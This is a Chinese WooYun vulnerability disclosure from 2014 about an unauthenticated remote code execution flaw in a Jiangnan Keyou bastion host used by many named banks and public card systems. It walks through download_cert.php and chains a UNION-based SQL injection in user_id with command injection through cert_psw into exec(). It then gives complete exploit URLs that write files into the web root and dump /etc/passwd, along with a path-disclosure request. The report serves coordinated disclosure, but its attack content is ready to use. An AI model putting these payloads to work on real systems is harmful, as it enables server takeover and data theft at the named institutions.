漏洞概要 关注数(29) 关注此漏洞
缺陷编号: WooYun-2014-76864
漏洞标题: 江南科友堡垒机远程代码执行漏洞第二弹(无需登录直接写shell)
相关厂商: 江南科友科技股份有限公司
漏洞作者: 狗狗侠
提交时间: 2014-09-23 23:36
公开时间: 2014-12-20 23:38
漏洞类型: 默认配置不当
危害等级: 高
自评Rank: 20
漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org
Tags标签: 无
漏洞详情
披露状态:
2014-09-23: 细节已通知厂商并且等待厂商处理中
2014-09-26: 厂商已经确认,细节仅向厂商公开
2014-09-29: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2014-11-20: 细节向核心白帽子及相关领域专家公开
2014-11-30: 细节向普通白帽子公开
2014-12-10: 细节向实习白帽子公开
2014-12-20: 细节向公众公开
简要描述:
详细说明:
详情见
http://**.**.**.**/bugs/wooyun-2014-063604
漏洞涉及客户如下:
国内各大银行:中国银行、民生银行、广东发展银行、平安银行、深圳发展银行、浦发银行、渤海银行总行及各分行、中国工商银行、中国农业银行、中国建设银行、交通银行、招商银行、中信银行、兴业银行、华夏银行、中国邮政储蓄银行总行或部分分行
中国银联:总公司及北京、广州、深圳、南京、福州、长沙、武汉、济南、青岛、沈阳、郑州、海口、天津、香港、厦门等分公司
银联数据:全国卡系统业务托管商业银行
外资银行:渣打银行、东亚银行:全国境内各个分行
外资金融机构:韩亚银行、花旗银行、通用电气、星展银行、美国第一资讯(FDC)
地方商业银行及农村信用社:40余家商业银行及农村信用社
社会保障与公共交通系统:湖北、黑龙江、广东、北京等社保卡安全系统,上海市公交一卡通安全系统,杭州市市民卡系统,长春一汽企业IC卡加密系统,宁波市民卡系统,郑州交通一卡通系统,山东一卡通系统
由于某一页面未对用户参数进行充分考虑,导致用户构造好特殊的数据包达到代码执行,直接写shell,控制整个堡垒机的过程,全程无需登录,一键写shell 。。。一键root ...
代码在system/download_cert.php当中
上关键代码
一条条分析,当存在manager user_id cert_psw 这3个变量执行下面的语句
关键变量如下$cert_msg 如果它存在则可以执行下面的语句了。因为下面有个exec($cmd);
如果能控制$cmd ,那就是直接命令执行了,导致可以任意写文件,写shell 控制服务器了。。。
我们怎么控制$cmd?
$cmd .= " -password pass:".$_GET['cert_psw']; 这里的$_GET['cert_psw']是可控的,但是有条件。。要$cert_msg 不为空才能执行
如何确保$cert_msg不为空? 这里就需要$cert_msg = $db->getCertById('',$_GET['user_id'],$_GET['manager']); 这句执行的内容返回值不为空了。
我们看看getCerById方法吧
所以我们控制其中user_id的值就行,我们采用一个union查询保证他返回的内容为真,然后后面的语句注释掉。。
通过一步步测试cert的字段为13个。。。
所以就好办了。。
所以我们GET获取userid 设置为:-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13-- a 即可。。就能确保上面返回为真了。
然后我们控制cert_psw变量即可。。。然后任意写shell。。。直接控制服务器了
exp如下: (无需登录)
**.**.**.**/system/download_cert.php?cert_psw=3| echo 3333 > /usr/local/apache2/htdocs/project/www/upload/fuck.txt&user_id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13-- a&manager=1
直接写shell的话,爆路径方法如下:
**.**.**.**/system/download_cert.php?down_cret=1
所以直接执行系统命令,直接了当的就控制了堡垒机。。。
**.**.**.**/system/download_cert.php?cert_psw=3| cat /etc/passwd >> /usr/local/apache2/htdocs/project/www/upload/fuck.txt |&user_id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13-- a&manager=1
漏洞证明:
**.**.**.**/system/download_cert.php?down_cret=1
所以直接执行系统命令,直接了当的就控制了堡垒机。。。
**.**.**.**/system/download_cert.php?cert_psw=3| cat /etc/passwd >> /usr/local/apache2/htdocs/project/www/upload/fuck.txt |&user_id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13-- a&manager=1
修复方案:
版权声明:转载请注明来源 狗狗侠@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:14
确认时间:2014-09-26 10:15
厂商回复:
最新状态:
暂无
漏洞评价:
对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值